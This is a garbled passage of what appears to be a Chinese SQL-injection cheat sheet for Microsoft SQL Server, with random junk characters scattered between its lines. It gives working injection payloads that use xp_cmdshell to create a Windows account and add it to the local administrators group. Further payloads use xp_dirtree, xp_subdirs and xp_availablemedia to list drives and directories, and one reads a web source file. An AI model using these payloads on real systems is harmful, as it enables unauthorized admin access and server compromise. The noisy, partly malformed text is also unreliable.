4 b' x* g- i _, r: T# a;exec master.dbo.xp_cmdshell 'net user username password 4 C q! {0 y R/ y" c: L
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ( B$ U, o) G# v1 c7 {7 a
/ N, t! S7 r3 Q3 n- ^
;exec master.dbo.xp_cmdshell 'net user username password /add';-- # ]7 Y2 x8 m' t" z* H. a+ E" R4 A f1 S
& M( G1 w2 L2 G2 R2 P! l8 D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 D# q' ^2 p9 { n# y/ W/ d% \
$ r2 ^7 f* ]+ ~9 F' B
12.(1)遍历目录 # O9 |; V+ B/ l7 p1 t; r% O
& m$ r, O: f6 d7 X
;create table dirs(paths varchar(100), id int) ! Z7 X; X* ~! ^+ q
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4 G9 W3 B; z0 d# {4 ?
;and (select top 1 paths from dirs)>0 . J8 b8 A9 }! t+ h2 H; a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) - n. I/ }5 S1 ]4 `! [1 S" L
7 m/ x1 H/ z8 s! K0 Z
(2)遍历目录 4 a5 w" Y3 U! `1 v. Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 w; ~9 _" f7 l7 {& t, Q: k
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 G2 s1 g& f4 ]; G, c" {, U
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! w6 g9 m# v" [) Y/ d8 W. \' z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 & c) B L- H& g- u3 S* k;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 I/ K6 R* b% j8 P x/ Z+ j0 _+ ~: N& N
13.mssql中的存储过程 ' i' A+ o; C: w8 X